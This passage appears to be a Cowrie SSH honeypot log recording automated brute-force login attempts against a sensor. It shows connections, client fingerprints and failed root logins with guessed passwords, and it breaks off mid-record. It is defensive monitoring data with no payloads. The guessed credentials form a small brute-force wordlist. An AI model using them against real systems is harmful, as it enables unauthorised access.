{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:27.424685Z","src_ip":"118.26.36.195","session":"08dc527e4553","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Galax@8800","message":"login attempt [root/Galax@8800] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:27.641567Z","src_ip":"160.22.170.38","session":"8923e52d5783","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"website","message":"login attempt [root/website] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:28.328217Z","src_ip":"118.26.36.195","session":"08dc527e4553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:28.892668Z","src_ip":"160.22.170.38","session":"8923e52d5783","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:29.546443Z","src_ip":"118.26.36.195","session":"08dc527e4553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":56668,"dst_ip":"159.203.135.109","dst_port":22,"session":"18a2cc26d1d4","protocol":"ssh","message":"New connection: 143.20.185.207:56668 (159.203.135.109:22) [session: 18a2cc26d1d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:47.030715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:47.034435Z","src_ip":"143.20.185.207","session":"18a2cc26d1d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:47.151461Z","src_ip":"143.20.185.207","session":"18a2cc26d1d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSAVPS4VCPU16GBAMD","message":"login attempt [root/RASYAXINSAVPS4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:47.525268Z","src_ip":"143.20.185.207","session":"18a2cc26d1d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.61.148.179","src_port":55950,"dst_ip":"159.203.135.109","dst_port":22,"session":"a01d335792e4","protocol":"ssh","message":"New connection: 45.61.148.179:55950 (159.203.135.109:22) [session: a01d335792e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:48.299880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:48.303165Z","src_ip":"45.61.148.179","session":"a01d335792e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:48.363091Z","src_ip":"45.61.148.179","session":"a01d335792e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:48.641576Z","src_ip":"143.20.185.207","session":"18a2cc26d1d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq123wsx","message":"login attempt [root/zaq123wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:48.681314Z","src_ip":"45.61.148.179","session":"a01d335792e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:49.745016Z","src_ip":"45.61.148.179","session":"a01d335792e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.160.173.22","src_port":49022,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f831e6c51f3","protocol":"ssh","message":"New connection: 124.160.173.22:49022 (10.17.0.5:22) [session: 1f831e6c51f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:55.740865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:55.744658Z","src_ip":"124.160.173.22","session":"1f831e6c51f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:55.991780Z","src_ip":"124.160.173.22","session":"1f831e6c51f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass123Word","message":"login attempt [root/Pass123Word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:57.008079Z","src_ip":"124.160.173.22","session":"1f831e6c51f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:32:58.263688Z","src_ip":"124.160.173.22","session":"1f831e6c51f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":58262,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc872aa5c227","protocol":"ssh","message":"New connection: 103.98.149.87:58262 (10.17.0.5:22) [session: bc872aa5c227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:08.812954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:08.841856Z","src_ip":"103.98.149.87","session":"bc872aa5c227","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:09.080044Z","src_ip":"103.98.149.87","session":"bc872aa5c227","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:10.377018Z","src_ip":"103.98.149.87","session":"bc872aa5c227","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:11.607494Z","src_ip":"103.98.149.87","session":"bc872aa5c227","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.163.176.54","src_port":57516,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1de8c9c6ddb","protocol":"ssh","message":"New connection: 69.163.176.54:57516 (10.17.0.5:22) [session: b1de8c9c6ddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:18.656537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:18.659876Z","src_ip":"69.163.176.54","session":"b1de8c9c6ddb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:18.729954Z","src_ip":"69.163.176.54","session":"b1de8c9c6ddb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lendingprotocol","password":"lending123","message":"login attempt [lendingprotocol/lending123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:18.942542Z","src_ip":"69.163.176.54","session":"b1de8c9c6ddb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:20.015042Z","src_ip":"69.163.176.54","session":"b1de8c9c6ddb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.251.245.88","src_port":40190,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6c36d9aecef","protocol":"ssh","message":"New connection: 211.251.245.88:40190 (10.17.0.5:22) [session: d6c36d9aecef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:20.682290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:20.685489Z","src_ip":"211.251.245.88","session":"d6c36d9aecef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:20.889419Z","src_ip":"211.251.245.88","session":"d6c36d9aecef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@Root","message":"login attempt [root/123@Root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:21.739071Z","src_ip":"211.251.245.88","session":"d6c36d9aecef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:22.944519Z","src_ip":"211.251.245.88","session":"d6c36d9aecef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.177.101.45","src_port":52602,"dst_ip":"10.17.0.5","dst_port":22,"session":"576671fd2774","protocol":"ssh","message":"New connection: 81.177.101.45:52602 (10.17.0.5:22) [session: 576671fd2774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:40.849579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:40.853460Z","src_ip":"81.177.101.45","session":"576671fd2774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:40.988985Z","src_ip":"81.177.101.45","session":"576671fd2774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe,.","message":"login attempt [root/123qwe,.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:41.566370Z","src_ip":"81.177.101.45","session":"576671fd2774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:42.776897Z","src_ip":"81.177.101.45","session":"576671fd2774","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":57874,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1f2082eddb1","protocol":"ssh","message":"New connection: 103.27.238.116:57874 (10.17.0.5:22) [session: a1f2082eddb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:43.146760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:33:43.150761Z","src_ip":"103.27.238.116","session":"a1f2082eddb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.